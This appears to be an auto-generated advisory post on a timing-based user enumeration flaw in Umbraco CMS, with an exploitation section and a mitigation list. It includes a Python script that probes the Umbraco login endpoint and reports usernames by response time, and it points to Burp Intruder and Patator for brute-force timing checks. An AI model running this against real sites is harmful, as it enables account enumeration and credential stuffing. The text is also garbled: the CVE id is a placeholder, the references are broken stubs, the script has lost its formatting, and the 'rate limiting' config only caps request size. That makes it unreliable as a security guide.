How the CVE Works:
The vulnerability in Umbraco CMS (CVE-2025-XXXX) allows attackers to enumerate valid user accounts by analyzing the timing differences in login responses. When a user submits a login request, Umbraco processes valid and invalid accounts differently, leading to slight variations in response times. Attackers can exploit this discrepancy to determine whether a username exists in the system. This flaw affects Umbraco versions >= 11.0.0-rc1 (below 13.8.1) and versions below 10.8.10. Successful exploitation enables brute-force attacks, credential stuffing, or targeted phishing campaigns.
DailyCVE Form:
Platform: Umbraco CMS
Version: <10.8.10, 11.0.0-13.8.0
Vulnerability: User Enumeration
Severity: Moderate
Date: May 6, 2025
What Undercode Say:
Exploitation:
1. Timing Analysis Script (Python):
import requests
import time
target_url = "https://example.com/umbraco/api/authentication/login"
usernames = ["admin", "user1", "test"]
for user in usernames:
start_time = time.time()
response = requests.post(target_url, json={"username": user, "password": "wrongpass"})
elapsed_time = time.time() - start_time
if elapsed_time > 0.5: Adjust threshold based on baseline
print(f"Valid user detected: {user}")
2. Automated Tools:
- Use Burp Suite’s Intruder with response-time analysis.
- Patator for brute-force timing checks.
Mitigation:
1. Patch Immediately:
- Upgrade to Umbraco 10.8.10 or 13.8.1.
2. Rate Limiting:
<system.webServer> <security> <requestFiltering> <requestLimits maxAllowedContentLength="30000000" /> </requestFiltering> </security> </system.webServer>
3. WAF Rules:
- Block repeated failed login attempts.
- Implement Cloudflare or ModSecurity to obscure timing differences.
4. Logging & Monitoring:
Get-WinEvent -LogName "Application" | Where-Object { $_.Message -like "login attempt" }
5. Disable Verbose Errors:
- Configure Umbraco to return uniform error messages and response times.
References:
- NIST Advisory: [bash]
- Umbraco Patch Notes: [bash]
- CVE Details: [bash]
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
